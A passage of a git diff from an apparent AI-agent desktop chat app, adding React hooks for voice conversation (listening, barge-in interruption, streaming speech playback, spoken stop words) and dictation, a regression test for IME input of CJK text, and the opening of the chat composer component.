+        if (!result || (!result.heardSpeech && !forceTranscribe) || !onTranscribeAudio) {
+          if (enabledRef.current && !mutedRef.current && !busyRef.current && statusRef.current !== 'speaking') {
+            pendingStartRef.current = true
+          }
+
+          setStatus('idle')
+
+          return
+        }
+
+        try {
+          const transcript = (await onTranscribeAudio(result.audio)).trim()
+
+          if (!transcript) {
+            if (enabledRef.current) {
+              pendingStartRef.current = true
+            }
+
+            setStatus('idle')
+
+            return
+          }
+
+          // A spoken "stop" (or "never mind", "goodbye", …) ends the
+          // conversation instead of being submitted as a turn. Only whole-
+          // utterance stop commands match, so "stop the container" still goes
+          // through as a real request.
+          if (isVoiceStopCommand(transcript)) {
+            dropSpeechSession()
+            setStatus('idle')
+            onStopWordRef.current?.()
+
+            return
+          }
+
+          awaitingSpokenResponseRef.current = true
+          dropSpeechSession()
+          await onSubmit(transcript)
+          setStatus('thinking')
+        } catch (error) {
+          notifyError(error, voiceCopy.transcriptionFailed)
+
+          if (enabledRef.current && !mutedRef.current && !busyRef.current) {
+            pendingStartRef.current = true
+          }
+
+          setStatus('idle')
+        }
+      } finally {
+        turnClosingRef.current = false
+      }
+    },
+    [handle, onSubmit, onTranscribeAudio, voiceCopy.transcriptionFailed]
+  )
+
+  const startListening = useCallback(async () => {
+    pendingStartRef.current = false
+
+    if (!enabledRef.current || mutedRef.current || busyRef.current) {
+      return
+    }
+
+    if (bargeCapturePendingRef.current) {
+      return // the barge monitor is mid-capture and owns the mic
+    }
+
+    if (statusRef.current !== 'idle') {
+      return
+    }
+
+    // Let the wake-word listener fully release the capture device before we
+    // open ours — opening the mic while wake still holds it makes getUserMedia
+    // fail (the "clicked voice but it never starts listening" bug).
+    try {
+      await beforeMicOpenRef.current?.()
+    } catch {
+      // A pause failure shouldn't block the user's explicit start.
+    }
+
+    // enabled/muted/busy or an interleaved turn may have changed while we waited.
+    if (!enabledRef.current || mutedRef.current || busyRef.current || statusRef.current !== 'idle') {
+      return
+    }
+
+    try {
+      // VAD tuning mirrors `tools.voice_mode` defaults so the browser loop matches the CLI.
+      await handle.start({
+        silenceLevel: 0.075,
+        silenceMs: 1_250,
+        idleSilenceMs: 12_000,
+        onError: error => {
+          notifyError(error, voiceCopy.microphoneFailed)
+          pendingStartRef.current = false
+          onFatalError?.()
+        },
+        onSilence: () => void handleTurn()
+      })
+      setStatus('listening')
+      // Clear any prior turn-timeout before arming a fresh one. Each listen
+      // cycle reassigns turnTimeoutRef; without clearing first, a stale 60s
+      // timer from an earlier cycle survives and later fires handleTurn() in
+      // the middle of a new listen, cutting it short (or, after enough idle
+      // re-listens, wedging the loop into a state it doesn't re-arm from).
+      clearTurnTimeout()
+      turnTimeoutRef.current = window.setTimeout(() => void handleTurn(), 60_000)
+    } catch (error) {
+      notifyError(error, voiceCopy.couldNotStartSession)
+      pendingStartRef.current = false
+      setStatus('idle')
+      onFatalError?.()
+    }
+  }, [handle, handleTurn, onFatalError, voiceCopy.couldNotStartSession, voiceCopy.microphoneFailed])
+
+  const settleAfterSpeech = useCallback(
+    (barged: boolean, stoppedDuringSetup = false) => {
+      if (barged || !awaitingSpokenResponseRef.current) {
+        awaitingSpokenResponseRef.current = false
+        consumePendingResponse()
+      }
+
+      if (bargeCapturePendingRef.current) {
+        // The barge monitor is still capturing the user's interruption — it
+        // owns the next turn. Keep it alive and don't re-open the mic; the
+        // utterance callback transcribes and submits when they go quiet.
+        speechSessionRef.current = null
+        responseIdRef.current = null
+        spokenSourceLengthRef.current = 0
+        setStatus('listening')
+
+        return
+      }
+
+      dropSpeechSession()
+
+      // If stopVoicePlayback() was called externally (Stop button, end), the
+      // voice-playback sequence has advanced past what we captured at speech
+      // start — don't auto-start the next sentence, the user chose to stop.
+      const stoppedByUser =
+        stoppedDuringSetup ||
+        (speechStartSequenceRef.current > 0 && $voicePlayback.get().sequence > speechStartSequenceRef.current)
+
+      speechStartSequenceRef.current = 0
+
+      if (enabledRef.current && !stoppedByUser) {
+        pendingStartRef.current = true
+      }
+
+      setStatus('idle')
+    },
+    [consumePendingResponse]
+  )
+
+  /**
+   * Submit the utterance the barge monitor captured — the user's interruption
+   * from its first syllable, no re-listen round trip. Empty/failed captures
+   * fall back to normal listening.
+   */
+  const submitCapturedUtterance = useCallback(
+    async (audio: Blob | null) => {
+      const resumeListening = () => {
+        if (enabledRef.current && !mutedRef.current) {
+          pendingStartRef.current = true
+        }
+
+        setStatus('idle')
+      }
+
+      if (!audio || !onTranscribeAudio) {
+        resumeListening()
+
+        return
+      }
+
+      setStatus('transcribing')
+
+      try {
+        const transcript = (await onTranscribeAudio(audio)).trim()
+
+        if (!transcript) {
+          resumeListening()
+
+          return
+        }
+
+        // A spoken stop command while barging means "stop everything" — the
+        // turn/playback was already cut at trip time; now end the conversation
+        // instead of submitting "stop" as a new prompt.
+        if (isVoiceStopCommand(transcript)) {
+          dropSpeechSession()
+          setStatus('idle')
+          onStopWordRef.current?.()
+
+          return
+        }
+
+        // A generation-phase barge interrupted the in-flight turn; the submit
+        // path refuses while `busy`, so wait for the interrupt to settle.
+        const deadline = Date.now() + INTERRUPT_SETTLE_TIMEOUT_MS
+
+        while (busyRef.current && Date.now() < deadline) {
+          await new Promise(resolve => window.setTimeout(resolve, 100))
+        }
+
+        awaitingSpokenResponseRef.current = true
+        dropSpeechSession()
+        consumePendingResponse()
+        await onSubmit(transcript)
+        setStatus('thinking')
+      } catch (error) {
+        notifyError(error, voiceCopy.transcriptionFailed)
+        resumeListening()
+      }
+    },
+    [consumePendingResponse, onSubmit, onTranscribeAudio, voiceCopy.transcriptionFailed]
+  )
+
+  /**
+   * Full-duplex barge-in monitor for the WHOLE agent turn: armed at submit,
+   * live through generation (thinking) AND playback (speaking).
+   *
+   * - generation phase (`busy`): speech interrupts the in-flight turn via
+   *   `onInterrupt` — the same seam as the Stop button — and cuts any TTS that
+   *   managed to start, so the stale reply never speaks.
+   * - playback phase: speech cuts playback and the captured interruption is
+   *   transcribed and submitted as the next turn.
+   *
+   * Idempotent — one monitor owns the mic per turn; re-arming while one is
+   * live is a no-op (the live/fallback speech paths and the turn-drive effect
+   * all call this).
+   */
+  const ensureBargeMonitor = useCallback(() => {
+    if (stopBargeMonitorRef.current) {
+      return
+    }
+
+    stopBargeMonitorRef.current = monitorSpeechDuringPlayback({
+      isPlaying: () => $voicePlayback.get().status === 'speaking',
+      onSpeech: () => {
+        bargeCapturePendingRef.current = true
+        bargedRef.current = true
+        markVoicePlaybackInterrupted()
+        stopVoicePlayback()
+
+        if (busyRef.current) {
+          // Mid-generation: stop the in-flight turn so the captured utterance
+          // becomes the next one instead of queueing behind a stale reply.
+          void onInterruptRef.current?.()
+        }
+      },
+      onUtterance: audio => {
+        bargeCapturePendingRef.current = false
+        stopBargeMonitorRef.current = null
+        void submitCapturedUtterance(audio)
+      }
+    })
+  }, [submitCapturedUtterance])
+
+  /** Push any new reply text into the live session; finish when complete. */
+  const feedSpeechSession = useCallback(
+    (responseId: string) => {
+      const session = speechSessionRef.current
+
+      if (!session || responseIdRef.current !== responseId) {
+        return
+      }
+
+      const response = pendingResponse()
+
+      if (response && response.id === responseId) {
+        if (response.text.length > spokenSourceLengthRef.current) {
+          session.append(response.text.slice(spokenSourceLengthRef.current))
+          spokenSourceLengthRef.current = response.text.length
+        }
+
+        if (!response.pending && !busyRef.current) {
+          session.finish()
+        }
+      } else if (!busyRef.current) {
+        // Reply consumed/vanished while we were speaking — close out the turn.
+        session.finish()
+      }
+    },
+    [pendingResponse]
+  )
+
+  /** Whole-text fallback: wait for the reply to complete, then speak it. */
+  const awaitFallbackSpeech = useCallback(
+    (responseId: string) => {
+      const poll = () => {
+        if (responseIdRef.current !== responseId) {
+          return
+        }
+
+        const response = pendingResponse()
+
+        if (!response || response.id !== responseId) {
+          settleAfterSpeech(false)
+
+          return
+        }
+
+        if (response.pending || busyRef.current) {
+          window.setTimeout(poll, 250)
+
+          return
+        }
+
+        // The full-duplex monitor is normally already live (armed at submit);
+        // this is a safety net for read-aloud-style entries into the loop.
+        ensureBargeMonitor()
+
+        const playback = playSpeechText(response.text, { source: 'voice-conversation' })
+        // playSpeechText performs its normal cleanup synchronously before
+        // returning. Capture the sequence after that internal increment so
+        // only a later, external stop suppresses the next listen cycle.
+        speechStartSequenceRef.current = $voicePlayback.get().sequence
+
+        void playback
+          .catch(error => notifyError(error, voiceCopy.playbackFailed))
+          .finally(() => {
+            if (responseIdRef.current === responseId) {
+              awaitingSpokenResponseRef.current = false
+              settleAfterSpeech(bargedRef.current)
+            }
+          })
+      }
+
+      poll()
+    },
+    [ensureBargeMonitor, pendingResponse, settleAfterSpeech, voiceCopy.playbackFailed]
+  )
+
+  /**
+   * Live-speak the streaming reply: one speech session per response, fed
+   * incremental text as the assistant generates it. Audio overlaps generation
+   * — no wait for the full reply, no per-sentence gaps.
+   */
+  const openLiveSpeech = useCallback(
+    (responseId: string) => {
+      const sequenceBeforeStart = $voicePlayback.get().sequence
+
+      responseIdRef.current = responseId
+      spokenSourceLengthRef.current = 0
+      setStatus('speaking')
+
+      // VAD barge-in: the user talking over the reply cuts playback, drops
+      // the not-yet-spoken remainder, AND keeps capturing — the interruption
+      // is transcribed from its first syllable instead of losing the opening
+      // words to a mic re-open. Usually already live (armed at submit).
+      ensureBargeMonitor()
+
+      void (async () => {
+        const session = await startSpeechStream({ source: 'voice-conversation' })
+
+        // The session may resolve after the loop moved on (barge, disable).
+        if (responseIdRef.current !== responseId) {
+          if (session) {
+            stopVoicePlayback()
+          }
+
+          return
+        }
+
+        if (!session) {
+          // Stream discovery can also fail after an explicit Stop landed
+          // during its async URL lookup. In that case, do not turn the stopped
+          // live attempt into fresh fallback playback.
+          if ($voicePlayback.get().sequence > sequenceBeforeStart) {
+            awaitingSpokenResponseRef.current = false
+            settleAfterSpeech(false, true)
+
+            return
+          }
+
+          // No streaming backend/provider: speak the whole reply once it lands.
+          speechSessionRef.current = null
+          awaitFallbackSpeech(responseId)
+
+          return
+        }
+
+        // startSpeechStream calls stopVoicePlayback once after its async URL
+        // lookup. A second sequence bump means the user pressed Stop while
+        // setup was still pending. Do not absorb that explicit stop into the
+        // post-start baseline or allow the new session to play.
+        const sequenceAfterStart = $voicePlayback.get().sequence
+        const stoppedDuringStart = sequenceAfterStart > sequenceBeforeStart + 1
+
+        speechStartSequenceRef.current = sequenceAfterStart
+        speechSessionRef.current = session
+
+        if (stoppedDuringStart) {
+          stopVoicePlayback()
+          awaitingSpokenResponseRef.current = false
+          settleAfterSpeech(false, true)
+
+          return
+        }
+
+        // Timer-driven feed: reply text flows into the session at delta rate
+        // regardless of React render cadence.
+        const feedTimer = window.setInterval(() => feedSpeechSession(responseId), 150)
+        feedSpeechSession(responseId)
+
+        const outcome = await session.done
+        window.clearInterval(feedTimer)
+
+        if (responseIdRef.current !== responseId) {
+          return
+        }
+
+        if (outcome === 'fallback') {
+          awaitFallbackSpeech(responseId)
+
+          return
+        }
+
+        awaitingSpokenResponseRef.current = false
+        settleAfterSpeech(bargedRef.current)
+      })()
+    },
+    [awaitFallbackSpeech, ensureBargeMonitor, feedSpeechSession, settleAfterSpeech]
+  )
+
+  const start = useCallback(async () => {
+    if (!onTranscribeAudio) {
+      notify({
+        kind: 'warning',
+        title: voiceCopy.unavailable,
+        message: voiceCopy.configureSpeechToText
+      })
+      onFatalError?.()
+
+      return
+    }
+
+    setMuted(false)
+    awaitingSpokenResponseRef.current = false
+    dropSpeechSession()
+    consumePendingResponse()
+    pendingStartRef.current = true
+    await startListening()
+  }, [
+    consumePendingResponse,
+    onFatalError,
+    onTranscribeAudio,
+    startListening,
+    voiceCopy.configureSpeechToText,
+    voiceCopy.unavailable
+  ])
+
+  const end = useCallback(async () => {
+    pendingStartRef.current = false
+    clearTurnTimeout()
+    stopVoicePlayback()
+    handle.cancel()
+    turnClosingRef.current = false
+    awaitingSpokenResponseRef.current = false
+    dropSpeechSession()
+    consumePendingResponse()
+    setMuted(false)
+    setStatus('idle')
+  }, [consumePendingResponse, handle])
+
+  const stopTurn = useCallback(() => {
+    if (statusRef.current === 'listening') {
+      void handleTurn(true)
+    }
+  }, [handleTurn])
+
+  const toggleMute = useCallback(() => {
+    setMuted(value => {
+      const next = !value
+
+      if (next) {
+        clearTurnTimeout()
+        handle.cancel()
+        setStatus('idle')
+      } else if (enabledRef.current && !busyRef.current && statusRef.current === 'idle') {
+        pendingStartRef.current = true
+      }
+
+      return next
+    })
+  }, [handle])
+
+  useEffect(() => {
+    if (!enabled) {
+      return
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.code !== 'Space' || event.repeat || event.metaKey || event.ctrlKey || event.altKey) {
+        return
+      }
+
+      if (statusRef.current !== 'listening') {
+        return
+      }
+
+      event.preventDefault()
+      stopTurn()
+    }
+
+    window.addEventListener('keydown', onKeyDown, { capture: true })
+
+    return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
+  }, [enabled, stopTurn])
+
+  // Ambient "thinking" sound: while the agent works (status 'thinking') no
+  // audio flows, which reads as dead air mid-conversation. Calm bubble blips
+  // fill the gap; they stop the INSTANT speech starts, the mic re-arms, or the
+  // conversation ends. Gated by voice.thinking_sound + the shared sound mute.
+  useEffect(() => {
+    if (enabled && !muted && status === 'thinking') {
+      startThinkingSound()
+
+      return stopThinkingSound
+    }
+
+    stopThinkingSound()
+
+    return undefined
+  }, [enabled, muted, status])
+
+  // Drive the loop: when a voice-submitted reply appears, open a live speech
+  // session (which feeds itself from then on). Otherwise start listening when
+  // idle between turns.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!enabled || muted) {
+      return
+    }
+
+    if (awaitingSpokenResponseRef.current && status !== 'speaking') {
+      // Generation phase: the turn is in flight but no reply audio exists
+      // yet. Keep the mic live so speech can interrupt the model mid-
+      // generation (full-duplex) instead of going deaf until playback.
+      if (status === 'thinking' && (busy || bargeCapturePendingRef.current)) {
+        ensureBargeMonitor()
+      }
+
+      const response = pendingResponse()
+
+      if (response) {
+        openLiveSpeech(response.id)
+
+        return
+      }
+
+      if (!busy && status === 'thinking' && !bargeCapturePendingRef.current) {
+        // Turn finished without any speakable reply (tool-only, error). A
+        // live barge capture owns the loop instead — it submits or resumes.
+        awaitingSpokenResponseRef.current = false
+        dropSpeechSession()
+        pendingStartRef.current = true
+        setStatus('idle')
+
+        return
+      }
+    }
+
+    if (busy || status !== 'idle') {
+      return
+    }
+
+    if (pendingStartRef.current) {
+      void startListening()
+    }
+  }, [busy, enabled, muted, ensureBargeMonitor, openLiveSpeech, pendingResponse, startListening, status])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (enabled && !wasEnabledRef.current) {
+      void start()
+    }
+
+    if (!enabled && wasEnabledRef.current) {
+      void end()
+    }
+
+    wasEnabledRef.current = enabled
+  }, [enabled, end, start])
+
+  return { end, level, muted, start, status, stopTurn, toggleMute }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-voice-recorder.ts b/ui-desktop/src/app/chat/composer/hooks/use-voice-recorder.ts
new file mode 100644
index 000000000..937f2d3bc
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-voice-recorder.ts
@@ -0,0 +1,116 @@
+import { useEffect, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { notify, notifyError } from '@/store/notifications'
+
+import type { VoiceActivityState, VoiceStatus } from '../types'
+
+import { useMicRecorder } from './use-mic-recorder'
+
+interface VoiceRecorderOptions {
+  maxRecordingSeconds: number
+  onTranscribeAudio?: (audio: Blob) => Promise<string>
+  focusInput: () => void
+  onTranscript: (text: string) => void
+}
+
+export function useVoiceRecorder({
+  maxRecordingSeconds,
+  onTranscribeAudio,
+  focusInput,
+  onTranscript
+}: VoiceRecorderOptions) {
+  const { t } = useI18n()
+  const voiceCopy = t.notifications.voice
+  const { handle, level, recording } = useMicRecorder(voiceCopy)
+  const [voiceStatus, setVoiceStatus] = useState<VoiceStatus>('idle')
+  const [elapsedSeconds, setElapsedSeconds] = useState(0)
+  const startedAtRef = useRef(0)
+  const intervalRef = useRef<number | null>(null)
+  const timeoutRef = useRef<number | null>(null)
+
+  const clearTimers = () => {
+    if (intervalRef.current) {
+      window.clearInterval(intervalRef.current)
+      intervalRef.current = null
+    }
+
+    if (timeoutRef.current) {
+      window.clearTimeout(timeoutRef.current)
+      timeoutRef.current = null
+    }
+  }
+
+  useEffect(() => () => clearTimers(), [])
+
+  const stop = async () => {
+    clearTimers()
+    const result = await handle.stop()
+
+    if (!result) {
+      setVoiceStatus('idle')
+
+      return
+    }
+
+    if (!onTranscribeAudio) {
+      setVoiceStatus('idle')
+
+      return
+    }
+
+    setVoiceStatus('transcribing')
+
+    try {
+      const transcript = (await onTranscribeAudio(result.audio)).trim()
+
+      if (!transcript) {
+        notify({ kind: 'warning', title: voiceCopy.noSpeechDetected, message: voiceCopy.tryRecordingAgain })
+      } else {
+        onTranscript(transcript)
+      }
+    } catch (error) {
+      notifyError(error, voiceCopy.transcriptionFailed)
+    } finally {
+      setVoiceStatus('idle')
+      focusInput()
+    }
+  }
+
+  const start = async () => {
+    if (!onTranscribeAudio) {
+      notify({ kind: 'warning', title: voiceCopy.unavailable, message: voiceCopy.transcriptionUnavailable })
+
+      return
+    }
+
+    try {
+      await handle.start({ onError: error => notifyError(error, voiceCopy.recordingFailed) })
+      startedAtRef.current = Date.now()
+      setElapsedSeconds(0)
+      setVoiceStatus('recording')
+      intervalRef.current = window.setInterval(() => setElapsedSeconds((Date.now() - startedAtRef.current) / 1000), 250)
+      const cap = Math.max(1, Math.min(Math.trunc(maxRecordingSeconds), 600))
+      timeoutRef.current = window.setTimeout(() => void stop(), cap * 1000)
+    } catch (error) {
+      setVoiceStatus('idle')
+      notifyError(error, voiceCopy.recordingFailed)
+    }
+  }
+
+  const dictate = () => {
+    if (recording) {
+      void stop()
+    } else if (voiceStatus === 'idle') {
+      void start()
+    }
+  }
+
+  const voiceActivityState: VoiceActivityState = {
+    elapsedSeconds,
+    level,
+    status: voiceStatus
+  }
+
+  return { dictate, voiceActivityState, voiceStatus }
+}
diff --git a/ui-desktop/src/app/chat/composer/ime-composition-dom-repro.test.tsx b/ui-desktop/src/app/chat/composer/ime-composition-dom-repro.test.tsx
new file mode 100644
index 000000000..962183ec7
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/ime-composition-dom-repro.test.tsx
@@ -0,0 +1,108 @@
+import { act, cleanup, fireEvent, render } from '@testing-library/react'
+import { useRef, useState } from 'react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+// No global setupFiles registers auto-cleanup, so unmount between tests —
+// otherwise a second render() leaks the first editor and getByTestId('editor')
+// matches multiple nodes.
+afterEach(cleanup)
+
+// Faithful mirror of index.tsx's composer text wiring for IME input, driven
+// through REAL DOM composition + input events on a contentEditable.
+//
+// Regression repro for #39614: typing committed multi-character IME text (e.g.
+// Chinese "你好") used to leave the send button hidden. The input events fired
+// during composition carry uncommitted preedit text and are intentionally
+// skipped; Chromium then does NOT reliably emit a trailing input event after
+// compositionend on Windows IMEs, so the finalized text never reached composer
+// state and `hasPayload` stayed false until an unrelated edit forced a sync.
+// The fix flushes the live DOM text in onCompositionEnd.
+function Harness({ onPayload }: { onPayload: (hasPayload: boolean) => void }) {
+  const editorRef = useRef<HTMLDivElement>(null)
+  const composingRef = useRef(false)
+  const draftRef = useRef('')
+  const [draft, setDraft] = useState('')
+
+  const flushEditorToDraft = (editor: HTMLDivElement) => {
+    const next = editor.textContent ?? ''
+
+    if (next !== draftRef.current) {
+      draftRef.current = next
+      setDraft(next)
+    }
+  }
+
+  onPayload(draft.trim().length > 0)
+
+  return (
+    <div
+      contentEditable
+      data-testid="editor"
+      onCompositionEnd={event => {
+        composingRef.current = false
+        flushEditorToDraft(event.currentTarget)
+      }}
+      onCompositionStart={() => {
+        composingRef.current = true
+      }}
+      onInput={event => {
+        if (composingRef.current) {
+          return
+        }
+
+        flushEditorToDraft(event.currentTarget)
+      }}
+      ref={editorRef}
+      suppressContentEditableWarning
+    />
+  )
+}
+
+describe('composer IME composition — send button visibility (#39614)', () => {
+  it('shows the send button after committing CJK text without a trailing edit', async () => {
+    let hasPayload = false
+    const { getByTestId } = render(<Harness onPayload={p => (hasPayload = p)} />)
+    const editor = getByTestId('editor')
+
+    // Compose "你好" the way a Windows Chinese IME does: compositionstart, then
+    // input events carrying uncommitted preedit text, then compositionend with
+    // the committed text already in the DOM — and crucially NO input event
+    // afterwards.
+    await act(async () => {
+      fireEvent.compositionStart(editor)
+      editor.textContent = '你'
+      fireEvent.input(editor)
+      editor.textContent = '你好'
+      fireEvent.input(editor)
+      fireEvent.compositionEnd(editor)
+    })
+
+    // Before the fix this was false (button hidden) until a further edit.
+    expect(hasPayload).toBe(true)
+    expect(editor.textContent).toBe('你好')
+  })
+
+  it('also covers Japanese/Korean and any IME-composed script', async () => {
+    let hasPayload = false
+    const { getByTestId } = render(<Harness onPayload={p => (hasPayload = p)} />)
+    const editor = getByTestId('editor')
+
+    for (const committed of ['こんにちは', '안녕하세요']) {
+      await act(async () => {
+        fireEvent.compositionStart(editor)
+        editor.textContent = committed
+        fireEvent.input(editor)
+        fireEvent.compositionEnd(editor)
+      })
+
+      expect(hasPayload).toBe(true)
+
+      // Clear for the next script.
+      await act(async () => {
+        editor.textContent = ''
+        fireEvent.input(editor)
+      })
+      expect(hasPayload).toBe(false)
+    }
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/index.tsx b/ui-desktop/src/app/chat/composer/index.tsx
new file mode 100644
index 000000000..28dbcf23a
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/index.tsx
@@ -0,0 +1,1310 @@
+import { ComposerPrimitive } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import { type ClipboardEvent, type FormEvent, type KeyboardEvent, useCallback, useEffect, useMemo, useRef } from 'react'
+
+import { composerFill, composerFloatingStrip, composerSurfaceGlass } from '@/components/chat/composer-dock'
+import { Button } from '@/components/ui/button'
+import { Slot as ContribSlot } from '@/contrib/react/slot'
+import { useI18n } from '@/i18n'
+import { chatMessageText } from '@/lib/chat-messages'
+import { sanitizeComposerInput } from '@/lib/composer-input-sanitize'
+import { DATA_IMAGE_URL_RE } from '@/lib/embedded-images'
+import { triggerHaptic } from '@/lib/haptics'
+import { cn } from '@/lib/utils'
+import { interceptsTypedVoiceStop } from '@/lib/voice-stop-word'
+import { sessionCompacting } from '@/store/compaction'
+import { browseBackward, browseForward, deriveUserHistory, isBrowsingHistory } from '@/store/composer-input-history'
+import { POPOUT_WIDTH_REM } from '@/store/composer-popout'
+import { parkQueuedPrompts, removeQueuedPrompt, unparkQueuedPrompts } from '@/store/composer-queue'
+import { toggleReview } from '@/store/review'
+import { $gatewayState } from '@/store/session'
+import { $threadScrolledUp } from '@/store/thread-scroll'
+import { $autoSpeakReplies } from '@/store/voice-prefs'
+import { useTheme } from '@/themes'
+
+import { AttachmentList } from './attachments'
+import {
+  acceptsTriggerCompletion,
+  COMPOSER_FADE_BACKGROUND,
+  type QueueEditState,
+  slashArgStage
+} from './composer-utils'
+import { ContextMenu } from './context-menu'
+import { COMPOSER_AREAS, runComposerMiddleware } from './contrib'
+import { ComposerControls } from './controls'
+import { ComposerDirectiveActions } from './directive-actions'
+import { COMPOSER_DROP_ACTIVE_CLASS, COMPOSER_DROP_FADE_CLASS } from './drop-affordance'
+import { markActiveComposer } from './focus'
+import { HelpHint } from './help-hint'
+import { useAtCompletions } from './hooks/use-at-completions'
+import { useComposerBranch } from './hooks/use-composer-branch'
+import { useComposerDraft } from './hooks/use-composer-draft'
+import { useComposerDrop } from './hooks/use-composer-drop'
+import { useComposerEscCancel } from './hooks/use-composer-esc-cancel'
+import { useComposerMetrics } from './hooks/use-composer-metrics'
+import { useComposerPlaceholder } from './hooks/use-composer-placeholder'
+import { useComposerPopout } from './hooks/use-composer-popout'
+import { useComposerQueue } from './hooks/use-composer-queue'
+import { useComposerSubmit } from './hooks/use-composer-submit'
+import { useComposerTrigger } from './hooks/use-composer-trigger'
+import { useComposerUndo } from './hooks/use-composer-undo'
+import { useComposerUrlDialog } from './hooks/use-composer-url-dialog'
+import { useComposerVoice } from './hooks/use-composer-voice'
+import { useEmojiCompletions } from './hooks/use-emoji-completions'
+import { useComposerMicroActions } from './hooks/use-micro-actions'
+import { useSlashCompletions } from './hooks/use-slash-completions'
+import { useSessionStatusPresence } from './hooks/use-status-presence'
+import { ActionBadges } from './micro-actions'
+import { chipTypedPathOnSpace, pathifyRefs } from './path-refs'
+import { QueuePanel } from './queue-panel'
+import {
+  beginComposerComposition,
+  composerPlainText,
+  deleteChipBeforeCaret,
+  deleteSelectionInEditor,
+  insertComposerContentsAtCaret,
+  normalizeComposerEditorDom,
+  RICH_INPUT_SLOT
+} from './rich-editor'
+import { useComposerScope } from './scope'
+import { ComposerStatusStack } from './status-stack'
+import { CodingStatusRow } from './status-stack/coding-row'
+import { extractClipboardImageBlobs, openDirectiveScope } from './text-utils'
+import { ComposerTriggerPopover } from './trigger-popover'
+import type { ChatBarProps } from './types'
+import { isRedoShortcut, isUndoShortcut } from './undo-history'
+import { UrlDialog } from './url-dialog'
+import { chipTypedUrlOnSpace, linkifyUrls } from './url-refs'
+import { VoiceActivity, VoicePlaybackActivity } from './voice-activity'
+
+export function ChatBar({
+  busy,
+  cwd,
+  disabled,
+  focusKey,
+  gateway,
+  maxRecordingSeconds = 120,
+  queueSessionKey,
+  sessionId,
+  state,
+  onCancel,
+  onAddUrl,
+  onAttachDroppedItems,
+  onAttachImageBlob,
+  onPasteClipboardImage,
+  onPickFiles,
+  onPickFolders,
+  onPickImages,
+  onRemoveAttachment,
+  onSteer,
+  onSubmit: onSubmitProp,
+  onTranscribeAudio
+}: ChatBarProps) {
+  // Typed stop phrase during an active voice conversation ends it — same
+  // semantics as SAYING "stop" (voice-stop-word.ts) or clicking the pill's
+  // end control. Populated after useComposerVoice below (the submit wrapper
+  // is created first); render-time assignment keeps the ref current.
+  const voiceStopRef = useRef<{ active: boolean; end: () => void }>({ active: false, end: () => {} })
+
+  // Every send (typed, queued, voice) passes through the contributed
+  // middleware chain first — rewrite / pass-through / cancel. Empty chain =
+  // exact pass-through, so surfaces without contributions are byte-identical.
+  const onSubmit = useCallback<ChatBarProps['onSubmit']>(
+    async (value, options) => {
+      // Bare stop phrase typed while the voice conversation is live: end the
+      // conversation (mic off, pill dismissed) instead of sending "stop" to
+      // the agent. Spoken transcripts are already stop-checked inside
+      // use-voice-conversation, so this only catches typed/queued sends.
+      // Outside a voice conversation, typed "stop" is a normal message.
+      const voiceStop = voiceStopRef.current
+
+      if (interceptsTypedVoiceStop(voiceStop.active, value, options?.attachments?.length ?? 0)) {
+        voiceStop.end()
+
+        // Consumed (not rejected): report accepted so the submit engine
+        // clears the draft instead of restoring "stop" into the composer.
+        return true
+      }
+
+      const draft = await runComposerMiddleware({ text: value, attachments: options?.attachments })
+
+      if (!draft) {
+        return false
+      }
+
+      return onSubmitProp(draft.text, { ...options, attachments: draft.attachments })
+    },
+    [onSubmitProp]
+  )
+
+  // Which live composer this instance IS (main | tile) — its attachment set,
+  // focus-bus key, and awaiting-input edge. Main scope = the legacy globals.
+  const scope = useComposerScope()
+  const attachments = useStore(scope.attachments.$attachments)
+  const compacting = useStore(useMemo(() => sessionCompacting(sessionId ?? null), [sessionId]))
+  const scrolledUp = useStore($threadScrolledUp)
+  const autoSpeak = useStore($autoSpeakReplies)
+  // The turn is parked on the user (clarify / approval / sudo / secret). Esc must
+  // not interrupt it — there's nothing actively running to stop, and stopping
+  // would discard a question the user may want to come back to. The blocking
+  // prompt owns its own dismissal (Skip, Reject, dialog close).
+  const awaitingInput = useStore(scope.$awaitingInput)
+  const activeQueueSessionKey = queueSessionKey || sessionId || null
+
+  // Status items (subagents, background processes) are keyed by the RUNTIME
+  // session id — gateway events and process.list both speak that id. Only the
+  // queue uses the stored-session fallback key (prompts can queue pre-resume).
+  const statusSessionId = sessionId ?? null
+
+  // Coarse edge: re-renders ChatBar only when the stack shows/hides, NOT on
+  // every per-item status mutation or other sessions' churn (see the hook).
+  const statusPresent = useSessionStatusPresence(statusSessionId)
+
+  // Publishes contributed micro actions for this session; the status stack
+  // renders them as the pill strip at the top of the overlay lane.
+  useComposerMicroActions(statusSessionId, busy)
+
+  const composerRef = useRef<HTMLFormElement | null>(null)
+  // The dock wraps the strips + status stack + composer; the thread's bottom
+  // clearance measures this, while the pop-out drag still tracks the composer.
+  const composerDockRef = useRef<HTMLDivElement | null>(null)
+  const composerSurfaceRef = useRef<HTMLDivElement | null>(null)
+
+  // Pop-out engine: docked↔floating state, dock/float/toggle, drag gestures, and
+  // the on-screen re-clamp. Secondary windows can't pop out.
+  const {
+    dockProximity,
+    dragging,
+    handleComposerToggle,
+    onComposerGesturePointerDown,
+    popoutAllowed,
+    popoutPosition,
+    poppedOut
+  } = useComposerPopout({ composerRef })
+
+  // Coordinator-owned: the draft engine reads the live queue-edit snapshot off
+  // this ref (to suppress its stash while editing a queued prompt) and the queue
+  // engine writes it — an explicit shared handle, not a back-reference.
+  const queueEditRef = useRef<QueueEditState | null>(null)
+  const composingRef = useRef(false) // true during IME composition (CJK input)
+
+  const { availableThemes, themeName } = useTheme()
+  const at = useAtCompletions({ gateway: gateway ?? null, sessionId: sessionId ?? null, cwd: cwd ?? null })
+  const slash = useSlashCompletions({ activeSkin: themeName, gateway: gateway ?? null, skinThemes: availableThemes })
+  const emoji = useEmojiCompletions()
+
+  const { t } = useI18n()
+  const gatewayState = useStore($gatewayState)
